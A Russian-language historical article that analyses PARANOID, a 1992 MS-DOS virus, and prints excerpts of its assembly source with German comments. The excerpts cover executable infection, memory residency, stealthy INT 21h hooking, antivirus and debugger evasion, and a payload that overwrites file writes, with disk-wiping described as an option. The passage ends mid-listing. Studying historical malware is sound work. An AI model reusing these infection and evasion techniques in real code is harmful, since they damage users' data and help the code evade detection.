В эпоху, когда компьютеры только начинали становиться частью повседневной жизни, операционная система MS‑DOS была необычайно популярна. Однако рост количества компьютеров и программ для них стал причиной появления вредоносного софта. Одним из таких вирусов был PARANOID — маленькая безобидная программа, которую полушутя создали двое школьников из Германии. О своём эксперименте они анонимно рассказали Зигфриду Штайнеру. А он поделился с нами.
Может быть, скучная, но важная предыстория
История начинается в начале 1990-х годов, когда два подростка жили в маленьком городке на западе Германии, где разбирающиеся в компьютерах взрослые были невероятной редкостью. Когда ребята впервые заинтересовались компьютерами, им было лет по 11, а компьютерные курсы были доступны только выпускникам средних школ.
Поскольку в то время не было интернета, доступ к информации по определённым темам осуществлялся в основном через руководства к их домашним компьютерам, которые также обучали программированию на языке BASIC, через компьютерные журналы, относительно дорогие книги, которых не было в публичных библиотеках, разрозненную информацию из BBS, а также путём экспериментов.
19 апреля 1992 года ознаменовалось их прорывом в создании Proof of Concept (PoC) для компьютерного вируса. До этого ребята много спорили, по силам ли им создание вируса. Но в итоге им удалось заразить исполняемый файл, автоматически встроив туда свой код. Они смогли добиться, чтобы их фрагмент выполнялся до начала выполнения кода исходной программы.
Вот что рассказывали авторы десятилетия спустя:
«Мы хотели проверить, сможем ли сделать то, что сделали известные люди — те, о ком мы читали, кто создал вирусы, распространяющиеся с компьютера на компьютер по всему миру и о ком писали в компьютерных журналах. Хотели доказать, что можем причинить вред, если захотим, но на самом деле не стремились навредить кому‑либо. За исключением, может быть, тех, кто пытался анализировать и разбирать наш код. Однажды мы сами попали в собственную ловушку, копаясь в коде вируса. Потребовалось много усилий, чтобы восстановить таблицу разделов диска.
Мы не особенно старались и увеличить скорость распространения вируса. Простого знания того, что мы можем, было достаточно. Помимо его самосохранения и функций, препятствующих анализу, вирус был безвредным, поскольку мы отключили большую часть его вредоносных функций при выпуске».
Интересно, что исходный код вируса сохранился и авторы даже готовы были поделиться им. Но поначалу получение исходного кода казалось сомнительным из‑за потери битов на старых устройствах хранения. Его восстановление превратилось в приключение, включающее реконструкцию старого оборудования для преодоления технологического разрыва, созданного отсутствием поддержки современных технологий устаревших стандартов жёстких дисков, фирменных ленточных накопителей и зашифрованных файловых устройств той эпохи. Не буду вдаваться в подробности, но в итоге наша взяла!
С помощью виртуализации, найденного старого оборудования, адаптеров для современных компьютеров и какой‑то там матери мне удалось успешно восстановить исходный код вируса, даже сохранив временные метки оригинальных файлов.
Анализируем вирус
Как же функционировала эта вредоносная программа под названием PARANOID?
Начнём с того, что PARANOID был нацелен на персональные компьютеры под управлением MS‑DOS. Он незаметно внедрялся в программы, которыми обменивались пользователи. Чтобы заразить программы на других компьютерах, вирус должен был путешествовать в качестве незаметного «пассажира» внутри заражённых программ, распространяемых на дискетах.
Оффтоп
В то время наиболее распространённым методом передачи данных было копирование с жёсткого диска одного компьютера на дискеты, а с них — на жёсткий диск другого компьютера. Реже данные перемещались посредством Bulletin Board Systems (BBS). Чаще всего распространялись игры, утилиты или бизнес‑приложения. Как правило, это были исполняемые файлы *.EXE или *.COM.
Вследствие повсеместной практики пиратства ПО компьютерный вирус нашёл широкие возможности для распространения с одного компьютера на другой, тайно используя носитель либо сами данные. Вирусы могли заражать загрузочный сектор дискеты и заражать сами данные, хранящиеся на дискетах, особенно исполняемые программы.
Впрочем, выпущенная версия PARANOID была настроена так, чтобы не наносить никакого вреда. Вирус просто путешествовал с компьютера на компьютер, распространяясь сам по себе. Как записка в бутылке, он нёс зашифрованную текстовую строку, которую нужно было расшифровать, если получится расковырять код.
Как правило, компьютерные вирусы запускаются по истечении определённого времени инкубации, вызывая различные проблемы — от раздражающих пользователей экранных сообщений до нарушения работы компьютера или повреждения данных и даже вывода системы из строя. Сроки инкубации и соответствующие вредоносные действия компьютерного вируса подбираются очень тщательно, ведь слишком ранний запуск может ограничить распространение вируса, в то время как слишком поздний запуск — привести к тому, что вирус обнаружит антивирусное ПО и просто не даст ему запуститься.
В PARANOID была интересная функциональность: счётчик генерации вируса. Он помогал определять распространяемость вируса, увеличивая число сгенерированных вирусов на единицу для всех потомков основного, «родительского» вируса.
Давайте рассмотрим упрощённую схему функционирования вируса, заражающего файлы. Вирус типа PARANOID
обычно проходит следующие этапы:
Шаг |
Описание |
---|---|
Запуск |
Сначала разработчик вируса заражает программу, которая с этого момента становится «нулевым пациентом». Затем этот пациент распространяет вирус дальше, через дискету или BBS. |
Активация |
Когда заражённая программа копируется и выполняется на компьютере, вирус становится активным, начиная работать в новой среде. |
Распространение |
После активации вирус заражает подходящие программы на хосте, внедряя в них свою копию и манипулируя их путями выполнения таким образом, чтобы вирус активировался при следующем запуске этих программ. |
Действие |
После окончания инкубационного периода вирус реализует свой злой замысел в отношении инфицированного хозяина. В противном случае он ведёт себя максимально незаметно. |
Путешествие |
Цикл похож на «Активацию», но теперь заражённый хост распространяет вирус при дальнейшем использовании заражённых программ, например, через копирование её на дискету или передачу через BBS. |
Анализируем исходный код
При взгляде на исходный код PARANOID сразу бросается в глаза крайне едкая документация. Но без неё было никак, иначе существовал риск того, что ассемблерный код окажется непонятным при чтении в будущем. Код писали на ассемблере x86, затем его собирали с помощью Turbo Assembler (TASM) от Borland в машинный код, который мог бы работать на IBM PC‑совместимых компьютерах.
Язык ассемблера известен своим низким потреблением памяти и высокой производительностью, поскольку он позволяет избежать накладных расходов, присущих языкам программирования высокого уровня. Это делает его идеальным языком для программирования компьютерных вирусов, которые должны были действовать как можно незаметнее на компьютерах того времени.
Первый раздел исходного кода содержит символьные определения констант, включая переключатели времени сборки, что свидетельствует о модульном дизайне вируса и структурированном подходе к решению сквозных проблем. Функции можно было активировать или деактивировать, установив эти параметры в 1 (включено) или 0 (отключено) перед запуском ассемблера, что позволило создать индивидуальный исполняемый вирус: Эти параметры дают первое впечатление о возможностях вируса.
...
;------------------------------------------------------------------------------
;Wilde Schalter-Orgie:
;------------------------------------------------------------------------------
DOS_VIA_5D00 EQU 1 ;INT 21h-Funktionen über DOS-Funktion AX=5D00h aufrufen
MIT_CODER EQU 1 ;Coderfunktionen in den Virus einbinden?
OWN_STAPEL EQU 1 ;Eigenen Stapel für den residenten Teil ?
CHK4WIN EQU 1 ;Testen, ob es sich um ein Windows-Programm handelt
CHK4SIZE EQU 1 ;Host-Progs nicht unter MAX_SIZE Bytes infizieren!
SHIFT_SLICE EQU 1 ;32-Bit-Wert mit den Infektionsintervallen
;------------------------------------------------------------------------------
VSAFE_EXIT EQU 1 ;VSAFE INT 13h & 21h-Überwachung übergehen
IMPF2INFIZ EQU 1 ;Trotz CPAV/TNT-Impfung infizieren und täuschen
;------------------------------------------------------------------------------
KEIN_DEBUG EQU 1 ;Debugger-Fallen einfügen?
HIDE_CODE EQU 1 ;Diverse Routinen vor dem Sourcer verstecken
STREU_DUMMY EQU 1 ;Dummybytes streuen um TD zu täuschen ?
;------------------------------------------------------------------------------
PUMPVOLL EQU 1 ;Beim DOS_WRITE den Schreibpuffer mit Text füllen !!!
DATUM_BOMBE EQU 1 ;Datums-Test mit anschl. Reset und LOESCH_HD einfügen?
;------------------------------------------------------------------------------
LOESCH_HD EQU 0 ;Wenn LOESCH_HD = 1, dann auch HD-Löschen möglich !!!
...
Некоторые параметры были призваны скрыть вирус от антивирусного ПО: например, вызов функций MS-DOS необычным способом (DOS_VIA_5D00
), шифрование вируса (MIT_CODER
), отключение антивирусной защиты в реальном времени (VSAFE_EXI
T) и обход антивирусной защиты от прививок (IMPF2INFIZ
). Ещё один параметр был направлен на предотвращение заражения маленьких файлов, чтобы избежать заметного изменения размера (CHK4SIZE
). Чтобы помешать анализу, были использованы ключи, предотвращающие отладку (KEIN_DEBUG
), усложняющие отладку путём добавления вводящего в заблуждение кода (STREU_DUMMY
) или мешающие дизассемблированию (HIDE_CODE
).
Наконец, некоторые параметры управляли вредоносными действиями вируса. Среди них: произвольная запись заданного текста в файлы, сохраняемые пользователем, вместо его данных (PUMPVOLL
), перезагрузка компьютера в определённый день (DATUM_BOMBE
) и очистка жёсткого диска перед перезагрузкой (LOESCH_HD
).
Настраивая эти параметры, можно было собрать индивидуальную исполняемую версию PARANOID.
Модульная структура PARANOID была реализована с помощью серии объявлений, включающих библиотеки макросов, которые следуют за определениями символьных констант. Эти библиотеки не были сторонним кодом; скорее, они представляли функциональность, которая часто использовалась или извлекалась из основного исходного кода для улучшения удобства обслуживания.
...
INCLUDE CODER.INC ;Polymorpher Codierer
INCLUDE MS-DOS.INC ;DOS-Aufrufe
INCLUDE RND.INC ;Zufallsgenerator
INCLUDE TSR.INC ;TSR-Funktionen
INCLUDE VAR.INC ;Variablendefinitionen
INCLUDE VIRMACS.INC ;Virus-Funktionen
...
Изучение библиотек макросов, входящих в состав PARANOID, позволило узнать, из чего этот вирус состоит. Библиотека CODER.INC
предоставляла функциональность полиморфного декодера (активируемую при помощи MIT_CODER
) для записи вирусных данных, добавляемых к основной программе, в постоянно меняющихся комбинациях, предотвращая появление постоянных последовательностей байтов, которые антивирусное ПО могло бы использовать для однозначной идентификации заражённых файлов.
Такой подход позволил PARANOID успешно избегать обнаружения любым ПО, полагающимся на сигнатуры вирусов. Библиотека TSR.INC
позволяла PARANOID оставаться в памяти, а затем перехватывать запущенные программы — функция, напрямую не поддерживаемая MS‑DOS. Это помогало вирусу скрывать доступ к жёсткому диску и дисководу, сопоставляя его с шаблонами доступа прерванной программы.
Библиотека DOS.INC
предоставляла удобный доступ к «API» MS‑DOS для таких задач, как резервирование памяти и доступ к жёстким дискам или дисководам при заражении потенциальных программ‑хостов.
Библиотеки |
Функциональность |
---|---|
|
Обеспечивает обфускацию уникальных подписей и полиморфное декодирование |
|
Предоставляет библиотеку часто используемых вызовов MS-DOS |
|
Генерирует случайные числа |
|
Оставаться в памяти и подключаться к вызовам MS-DOS для заражения |
|
Необходимые магические числа и определения структур данных |
|
Предлагает общие функции, полезные для борьбы с компьютерными вирусами. |
Вирус был разделён на модули, то есть библиотеки действовали как модули, обеспечивая часто используемую и проверенную функциональность, которая позволяла понимать исходный код вируса и поддерживать его. Модульность также упрощает отладку и тестирование, поскольку модули можно тестировать изолированно перед интеграцией.
Поскольку авторы вируса были самыми натуральными школьниками, у них не было никаких знаний о методах разработки, кроме тех, что они почерпнули из различных источников (учитывая, что интернет в то время был им недоступен). Более того, никто из их окружения не имел ни малейшего представления о том, как разрабатывается программное обеспечение.
Они часто сидели вдвоём перед одним компьютером, поскольку ноутбуки были слишком дорогими. Иногда один садился за клавиатуру и программировал, помогая другому, а иногда они менялись ролями. Другими словами, они по очереди занимали «место водителя», что напоминает технику парного программирования. Вот такая вот была методология разработки вируса.
Проверка концепции (PoC)
В первую очередь ребята хотели доказать самим себе, что они могут написать код, способный заражать другие программы и не влиять на их функциональность. При этом гарантируя, что внедрённый код будет выполняться первым при запуске заражённых программ.
Для этого требовалось определить точку входа произвольной программы и перенаправить её на внедрённый (добавленный) код. После выполнения вредоносного кода управление должно было быть передано обратно в исходную точку входа.
...
;------------------------------------------------------------------------------
; COM oder EXE-Strategie:
;------------------------------------------------------------------------------
CMP BYTE PTR CS:[OFFSET COMEXE+BP],1 ;COM oder EXE?
JZ EXE_STRT ;--> EXE-Start
;------------------------------------------------------------------------------
; COM: Start-BYTES des Hostprogs restaurieren, rücksprung setzen:
;------------------------------------------------------------------------------
MOV WORD PTR CS:[HOST_SEG+BP],CS ;SEG auf <CS>
LEA SI,COM_START[BP] ;<SI> mit Adresse des orig-COM
MOV DI,100H ;Ziel auf den COM-Start
MOV CX,3 ;3 Durchläufe
REP MOVSB ;Kopieren!
JMP TEST_DEB ;JMP --> TEST_DEB
IF STREU_DUMMY ;-->
DB 80H ;Falsche Befehle !!! (nur TD)
ENDIF ;<--
;------------------------------------------------------------------------------
; EXE: Rücksprung zum Host vorbereiten:
;------------------------------------------------------------------------------
EXE_STRT: MOV AX,CS ;Aktuelles <CS>
EXE_SEG EQU $+1 ;EXE_SEG auf die 0 von SUB AX,0
SUB AX,0 ;Rücksprung vorbereiten (SEG)
MOV CS:[HOST_SEG],AX ;Diff zw. Virus und Host
...
Из-за различий в структуре COM-файлов и EXE-файлов их код должен был восстанавливать все изменения, внесенные в зараженную программу после выполнения, в зависимости от типа заражаемой программы. Путь выполнения COM-файла по умолчанию всегда начинается с адреса 0x100
.
Чтобы PARANOID взял управление на себя, команда перехода, указывающая на код вируса, должна была перезаписать байты по адресу 0x100
, чтобы вирус был вызван при выполнении программы. Затем эти байты восстанавливались вирусом перед передачей управления обратно исходной программе по адресу 0x100
.
С другой стороны, файл EXE имеет специальный заголовок, предшествующий самой программе. В этом заголовке, помимо прочего, объявляется точка входа в программу. В этом случае PARANOID должен был запомнить эту точку входа, вставить свою собственную точку входа в заголовок и после успешного выполнения вернуться к исходной точке входа, которая была записана в заголовке.
Активация и распространение
После того, как они освоили этап запуска, который активировал их код сразу после выполнения основной программы, ребята сосредоточились на механизме распространения. Изначально дуэт начал с кода, который добавлялся к основной программе. Этот код мог подключаться к любой произвольной программе.
Ключевое отличие заключалось в том, что вирусный код вместо использования заранее определённой программы для заражения теперь должен был выбирать целевую программу(‑ы) из сотен файлов *.COM и *.EXE, хранящихся на жёстких дисках и дискетах компьютера. Применяя соответствующий алгоритм, они заметили, что вирус будет заражать одну и ту же программу несколько раз, если их алгоритм при последующем запуске укажет на ранее заражённый файл.
Требовалось предотвращение самозаражения. Оценивая результаты тестовых испытаний (многократное заражение одной и той же программы), выявляя любые проблемы во время тестирования и устраняя их (добиться того, что программа заражается лишь один раз) перед следующими испытаниями, они итеративно внедряли новые инкременты вируса.
Чтобы предотвратить двойное заражение, вирус может проверять специфические характеристики потенциальных объектов атаки, чтобы выявить и пропустить уже заражённые программы. Обычно это достигается за счёт наличия у вируса уникальной сигнатуры, известной самому вирусу. Однако PARANOID стремился избежать обнаружения антивирусным ПО по уникальным сигнатурам, используя полиморфный декодер (об этом говорит входящая в комплект библиотека CODER.INC, которую рассмотрим далее).
...
ID_SUM EQU "A"+"S" ;Summe der Kennbytes
...
Вместо того чтобы использовать уникальную подпись, программисты решили применить другой подход. Они оценивали два последних байта целевой программы и проверяли, совпадает ли их сумма со строго определённым значением. Это значение представляло собой сумму ASCII-значений букв «A» и «S», означающих «Antivirus Signature» и складывающихся в 0x76
(что в десятичном исчислении равно 118).
...
;------------------------------------------------------------------------------
; ID_WORD testen (keine Doppelinfektion!):
;------------------------------------------------------------------------------
MS-DOS_FSEEK BX,2,0FFFFH,(-2) ;FPtr aufs Fileende-2
JC N_CLOSE ;zurücksetzen.
MS-DOS_FREAD BX,2,DS,<OFFSET PUFFER> ;Datei einlesen (ID_WORD?)
JC N_CLOSE ;FEHLER --> CLOSE
MOV AL,BYTE PTR CS:[PUFFER] ;1. Byte des ID_WORDS?
ADD AL,BYTE PTR CS:[PUFFER+1] ;2. Byte des ID_WORDS?
CMP AL,ID_SUM ;Wenn JA --> AL=ID_SUM!
JZ N_CLOSE ;ID_SUM erkannt --> CLOSE
...
Любая двухбайтовая комбинация, которая в сумме даёт 0x76
, служила сигнатурой, что позволяло использовать 118 вариантов. Этот подход позволял избежать использования уникальной сигнатуры, но при этом гарантировал, что программы не будут повторно заражены. Была ещё вероятного того, что некоторые программы не заразятся, если сумма их последних двух байт случайно окажется равной 0x76
.
Ранние версии PARANOID, в которых не использовался полиморфный декодер, просто проверяли, отсутствует ли предопределённая неизменяемая последовательность из двух байт в конце каждого файла, прежде чем заразить его.
TSR
MS‑DOS — это однопользовательская и однопроцессная операционная система. Она была разработана для того, чтобы компьютер одновременно мог обслуживать только один пользователь и запускать одну программу за раз. Это означало, что вирус обычно был активен в течение очень короткого периода времени, в основном сразу после запуска заражённой программы.
Если заражённая программа запускалась с жёсткого диска, а вирус пытался заразить программы на дискете, активность дисковода, скорее всего, была бы замечена пользователем, что быстро выявило бы присутствие вируса. Поэтому методы заражения программ на съемных носителях (дискетах) не должны были вызывать подозрений.
Лучшее время для заражения файлов на вставленной дискете — когда пользователь уже обращается к дисководу при выполнении обычных задач. В этот момент активность вируса имеет больше шансов остаться незамеченной. Но для этого вирусу нужно было оставаться активным после завершения работы программы‑хозяина. Для этого использовалась техника под названием Terminate‑and‑Stay‑Resident (TSR).
TSR не ограничивался вирусами, он широко использовался утилитами и вспомогательными программами. Эти программы подключались к подпрограммам компьютерной системы, оставались в памяти после завершения работы и запускались снова при вызове этих подпрограмм.
Вирусы типа PARANOID использовали TSR, чтобы незаметно подключаться к процедурам операционной системы для доступа к носителям информации. Чтобы перехватить эти процедуры, вирус должен был оставаться в памяти после завершения работы хост‑программы. Чтобы предотвратить перезапись своей памяти другими программами, вирус резервировал выделенный блок памяти и маскировал его под компонент операционной системы. Для этого PARANOID «крал» память у программы‑хозяина, если в системе не оставалось достаточно свободной памяти для вируса.
Вирус пытался зарезервировать память, чтобы оставаться резидентным после завершения работы хост‑программы, сначала пытаясь выделить память напрямую с помощью соответствующего вызова MS‑DOS. Если это не удавалось, он уменьшал размер блока памяти хост‑программы, снова используя вызов MS‑DOS, чтобы освободить необходимую память. После успешного выделения памяти любым из способов вирус копировал себя во вновь выделенный блок памяти, чтобы остаться в нём.
...
;------------------------------------------------------------------------------
; Resident MACHEN des Virus:
;------------------------------------------------------------------------------
NICHDRIN: MS-DOS_GETMEM MIN_ALLOC,AX ;Block reserviren
JNC ALLOC_OK ;KEIN FEHLER --> ALLOC_OK
;------------------------------------------------------------------------------
; Vom HOST-Programm Speicher klauen:
;------------------------------------------------------------------------------
POP AX ;<DS> vom STACK in <AX>
PUSH AX ;<DS> wieder sichern
DEC AX ;<ES> auf den MCB
MOV ES,AX ;zeigen lassen
MOV BX,WORD PTR ES:[MCB_SIZE] ;Größe des Blocks ermitteln
SUB BX,MIN_ALLOC+1 ;Block weniger MIN_ALLOC
POP ES ;<ES> auf <DS>
PUSH ES ;<DS> wieder sichern
MOV AH,4AH ;Blockgröße ändern, <BX>=neue
MS-DOSE ;Größe, <ES>=SEG des RAM-Blocks
JC F_ENDE ;FEHLER --> ENDE
MS-DOS_GETMEM MIN_ALLOC,AX ;Block reserviren
JNC ALLOC_OK ;OK --> ALLOK_OK
F_ENDE: JMP ENDE ;FEHLER --> ENDE
IF STREU_DUMMY ;-->
DB 80H ;Falsche Befehle !!! (nur TD)
ENDIF ;<--
;------------------------------------------------------------------------------
; PSP-Eintrag (verfügbarer Speicher) des Hosts aktualisieren:
;------------------------------------------------------------------------------
ALLOC_OK: SUB WORD PTR ES:[PSP_MEM],MIN_ALLOC+1 ;Hostblock minus Virus
;------------------------------------------------------------------------------
; Virus in den SPEICHER kopieren:
;------------------------------------------------------------------------------
MOV ES,AX ;<ES> auf den neuen Block
MOV SI,BP ;Quell-OFS: [DS:SI]
XOR DI,DI ;Ziel-OFS: [ES:DI]
MOV CX,MIN_BYTES ;MIN_BYTES Durchläufe!
REP MOVSB ;Kopieren!
;------------------------------------------------------------------------------
; BLOCK als belegt kennzeichnen / Aktiv auf NICHT Aktiv setzen!:
;------------------------------------------------------------------------------
DEC AX ;<AX>: OFS-Block --> OFS-MCB
MOV DS,AX ;<DS> auf MCB des neuen Blocks
MOV WORD PTR DS:[MCB_PSP],8 ;Block=belegt (DOS)
MOV BYTE PTR ES:[AKTIV],0 ;Aktiv-FLAG auf Null!!!
RNDINIT ES:[INITWERT] ;RND-Init-Werte speichern
...
Блок управления памятью (MCB), описывающий выделенную память, обновлялся и помечал этот блок с вирусом как выделенный. Это обеспечивало сохранение вируса в памяти и не позволяло другим программам перезаписать его. Код минимизировал внимание к присутствию вируса, заставляя вновь зарезервированный блок памяти выглядеть так, как будто он принадлежит MS‑DOS. Поскольку резидентная часть вируса, подключающаяся к функциональности MS‑DOS, ещё не активна, флаг AKTIV инициализировался в false.
Активация вируса
Для активации после завершения работы хост-программы вирус подключался к подпрограммам MS-DOS, в том числе для доступа к устройствам хранения данных, перенаправляя вызовы INT 21h
MS-DOS на код-перехватчик вируса. INT 21h — это прерывание, через которое происходит обращение к основным функциям DOS. Оно обеспечивает доступ к системе ввода-вывода, управляемой DOS.
Код вируса, перенаправляющий INT 21h, использовал стратегию косвенного обращения, чтобы скрыть источник вируса в памяти. Он перехватывал прерывание MS-DOS 21h, изменив вектор INT 21h
таким образом, чтобы он указывал на команду jump
, размещённую в первом блоке управления памятью (MCB), используемом MS-DOS для управления распределением памяти. Эта команда перенаправила управление на код вируса (NEU 21
), что позволило вирусу перехватывать системные вызовы MS-DOS и иметь возможность манипулировать ими.
...
;------------------------------------------------------------------------------
; INT 21H umbiegen:
;------------------------------------------------------------------------------
; Aufruf von INT 21H ──> Vektor zeigt auf das 5.BYTE des ersten MCB ──> JMP
; ──> Sprung zum eigentlichen Virus... INT 21H zeigt somit in den 1. MCB
;------------------------------------------------------------------------------
MOV AH,52H ;DOS INFORMATION BLOCK (DIB)
MS-DOSE ;ermitteln, undokumentiert.
...
MOV AX,ES ;<ES> in <AX>
DEC AX ;<AX> verkleinern
MOV ES,AX ;<ES> somit verkleinert!
ADD BX,12 ;OFS auf den ersten MCB
LES BX,ES:[BX] ;Erste MCB in <ES>/<BX>
;OFS auf das 1. ungenuzte BYTE
ADD BX,5 ;im MCB.
MOV BYTE PTR ES:[BX],0EAH ;Direct JMP
MOV WORD PTR ES:[BX+1],OFFSET NEU21 ;OFS setzen
MOV WORD PTR ES:[BX+3],DS ;SEG setzen!
;------------------------------------------------------------------------------
XOR AX,AX ;<DS> wieder...
MOV DS,AX ;...auf SEG 0
MOV WORD PTR DS:[21H*4+2],ES ;SEG für INT 21H biegen
MOV WORD PTR DS:[21H*4],BX ;OFS für INT 21H biegen
;------------------------------------------------------------------------------
...
Этот подход сработал благодаря тому, как MS‑DOS управляет памятью и системными ресурсами. Информационный блок MS‑DOS (DIB), получаемый с помощью недокументированного вызова INVARS (номер функции 52h) для INT 21h, содержит указатели и структуры данных, включая адрес сегмента первого MCB. Первый MCB присутствует всегда и является критическим для операций MS‑DOS, что делает его надежной точкой подключения.
Вирус использовал эту структуру MCB, чтобы скрывать своё присутствие, не указывая в записи таблицы дескрипторов прерываний для INT 21h прямую ссылку на свой код. Вместо этого он вставлял в первый MCB инструкцию перехода, перенаправляющую на код вируса. Запись таблицы дескрипторов прерываний для INT 21h была затем установлена на адрес этой команды перехода в первом MCB.
Перенаправление INT 21h позволяло вирусу перехватывать любые системные вызовы MS‑DOS, позволяя ему отслеживать, изменять или перенаправлять операции по мере необходимости. Всякий раз, когда к жёстким дискам или дисководам обращались через INT 21h, PARANOID проверял потенциальные хост‑программы и заражал их, не вызывая подозрений из‑за необычной активности оборудования.
Макрос TSR.INC
, используемый PARANOID, обрабатывал сохранение (отправку в стек) состояния процесса прерванной программы при получении управления и восстановления (извлечение из стека) состояния прерванного процесса при передаче управления обратно программе.
TITLE TSR.INC
;┌────────────────────────────────────────────────────────────────────────────┐
;│ PUSHALL: │
;│----------------------------------------------------------------------------│
;│ Alle Register auf den Stack schieben. │
;└────────────────────────────────────────────────────────────────────────────┘
PUSHALL MACRO
IFNDEF VIRUS
PUSHF
ENDIF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH DI
PUSH SI
PUSH BP
ENDM
;┌────────────────────────────────────────────────────────────────────────────┐
;│ POPALL: │
;│----------------------------------------------------------------------------│
;│ Alle Register vom Stack ziehen. │
;└────────────────────────────────────────────────────────────────────────────┘
POPALL MACRO
POP BP
POP SI
POP DI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
IFNDEF VIRUS
POPF
ENDIF
ENDM
Распространение
Поскольку PARANOID оставался в памяти и становился активным только при обращении к носителям информации, он мог незаметно для пользователя заражать программы на дискетах.
Вирус заражал носитель только в том случае, если пользователь обращался к нему во время выполнения повседневных задач. Это делалось путём подключения к процедуре INT 21h для выполнения программы. Всякий раз, когда требовалось получить доступ к COM‑ или EXE‑программе, вирус определял, заражать её или нет (не каждая запущенная программа заражалась, чтобы не поднимать лишнего шума).
Вредонос сначала проверял, является ли выполняемый вызов функции MS‑DOS функцией EXEC
(номер функции 4B00h), используемой для загрузки и выполнения программы. Эта проверка была призвана сбить с толку эвристические функции антивирусных программ, сравнивая XOR‑вариант 4B00h с XOR‑вариантом реального номера функции. Затем проверял имя файла, чтобы определить, должен ли он быть заражён, ориентируясь только на COM‑ или EXE‑файлы.
...
;------------------------------------------------------------------------------
; EXEC-Aufruf (DOS-Funktionsnum 4B00h)? Es wird mit dem verschlüsselten <BP>
; verglichen, um F-PROT (etc.) durcheinander zu bringen ??? (Hoffentlich!)
;------------------------------------------------------------------------------
;CMP BYTE PTR SS:[BP+1],(43H XOR 13H) ;DOS_GET/SET-ATTR ?
;JE GO_INF
CMP SS:[BP],(4B00H XOR 1313H) ;DOS_EXEC ?
JNE END21POP
;------------------------------------------------------------------------------
;EXE oder COM oder keins von beidem (Extension und Exeptionnames testen):
;<DS:DX>: Adr. des Filenamens, CS:[SCAN]: OFS von nicht zu infizierenden Files
;(Namen), END21POP: Wenn Filename nicht tauglich --> END21POP.
;------------------------------------------------------------------------------
GO_INF: FNAME_TEST DS,DX,CS:[SCAN],ANZ_SCAN,END21POP ;FNamen testen
;??????????????????????????????????????????????????????????????????????????????
; 32-BIT wert in SLICE eimal nach LINKS drehen. Wenn im HI-Bit dieses 32-BIT
; Wertes eine 1 steht, dann wird der Host infiziert !!!
;??????????????????????????????????????????????????????????????????????????????
IF SHIFT_SLICE
MOV AX,WORD PTR CS:[SLICE] ;HI-WORD von SLICE
MOV CX,WORD PTR CS:[SLICE+2] ;LO-SLICE in <CX>
PUSH AX ;HI-SLICE merken
SHL AX,1 ;HI-HI-BIT ins CF
POP AX ;Original HI-SLICE zurück
RCL CX,1 ;LO-SLICE mit HI-HI-BIT drehen
RCL AX,1 ;HI-SLICE mit LO-HI-BIT dreheb
MOV WORD PTR CS:[SLICE],AX ;HI-SLICE in <AX>
MOV WORD PTR CS:[SLICE+2],CX ;LO-SLICE in <CX>
SHL AX,1 ;HI-BIT ins CF
JNC END21POP ;Wenn CF=1 --> END21POP
ENDIF
;??????????????????????????????????????????????????????????????????????????????
JMP START_VIR ;START_VIR
IF STREU_DUMMY ;-->
DB 80H ;Falsche Befehle !!! (nur TD)
ENDIF
...
Затем код выполнял битовый сдвиг на предопределенном 32-битном значении, и только если был установлен старший бит повёрнутого значения, хост заражался. Шаблон этого предопределённого значения определял вероятность заражения потенциальных хостов. START_VIR
должен был присоединить вирус к недавно идентифицированному хосту, обеспечивая предотвращение двойного заражения и сохраняя исходные атрибуты файла, такие как дата изменения.
Поскольку PARANOID уже подключился к INT 21h, его активность также будет вызвана этим подключением, на этот раз при выполнении операций записи, но только при активированном переключателе PUMPVOLL
. Следовательно, перехватчик не только заражал бы другие программы во время вызовов EXEC
(функция номер 4B00h), но и проверял бы, выполняла ли пользовательская программа операцию записи (функция номер 40h). Эта проверка снова была предназначена для того, чтобы запутать эвристические функции антивирусного программного обеспечения, сравнивая вариант 40h, обработанный с помощью операции XOR, с версией фактического номера функции, обработанной с помощью операции XOR.
...
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
; Datei schreiben ? Wenn ja --> FILLFILE
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
IF PUMPVOLL
CMP BYTE PTR SS:[BP+1],(40H XOR 13H) ;DOS_FWRITE ?
JNE KEIN_FWRITE
JMP FILLFILE ;JA --> FILLFILE
KEIN_FWRITE EQU $
ENDIF
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
...
Обнаружив операцию WRITE
, PARANOID проверял, стоит ли запускать процесс заражения. В частности, он пропускал операцию, если она была направлена на стандартный поток вывода MS-DOS. Кроме того, триггер активировался только в том случае, если счётчик генерации был кратен четырём.
...
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
; Wenn die Auslösebedingung erfüllt wird, dann den von der Anwendung auf Disk
; zu schreibende WRITE_BUFFER mit unserem Text füllen!!! Somit besteht der
; dann geschriebene Block nur noch aus dem neuen Text !!!!
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
IF PUMPVOLL
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
FILLFILE: CMP CS:[TRIGGER],0 ;[TRIGGER] wird nach x Kopien
JZ END21POP ;unwiederruflich auf 1 gesetzt.
MOV AL,BYTE PTR CS:[KOPIE] ;Testen, ob der Kopienzähler
AND AL,011B ;teilbar durch 4 ist !!!
JNZ END21POP ;NEIN --> END21POP
CMP BX,4 ;Handle=Standard Ausgabe etc?
JBE END21POP ;JA --> END21POP
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
MOV SI,PUMP_SIZE ;Text-länge in <SI>
MOV BX,DX ;OFS des Puffers in <BX>, s.u.
BOESE: MOV AL,BYTE PTR CS:[SI+OFFSET PUMP_TEXT-1] ;Text lesen
XOR AX,SI ;Entschlüsseln!
MOV DI,CX ;...und dann in den...
DEC DI ;(Pufferzeiger verkleinern!)
MOV DS:[DI+BX],AL ;Puffer schreiben!
DEC SI ;String-Zeiger verkleinern
JNZ EVIL ;NULL? NEIN --> EVIL
